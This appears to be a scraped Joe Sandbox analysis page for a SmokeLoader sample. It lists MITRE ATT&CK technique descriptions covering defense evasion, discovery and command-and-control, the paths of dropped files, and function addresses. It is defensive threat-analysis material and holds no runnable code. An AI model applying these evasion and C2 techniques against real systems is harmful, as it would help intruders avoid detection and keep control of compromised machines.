Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BzLGqYKy7o.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\B9A0.exe

C:\Users\user\AppData\Roaming\jtihrdr

C:\Users\user\AppData\Roaming\teihrdr

C:\Users\user\AppData\Roaming\teihrdr:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
BzLGqYKy7o.exe

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 005B01D0 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 004E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 004E0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Function 005AFE8F Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON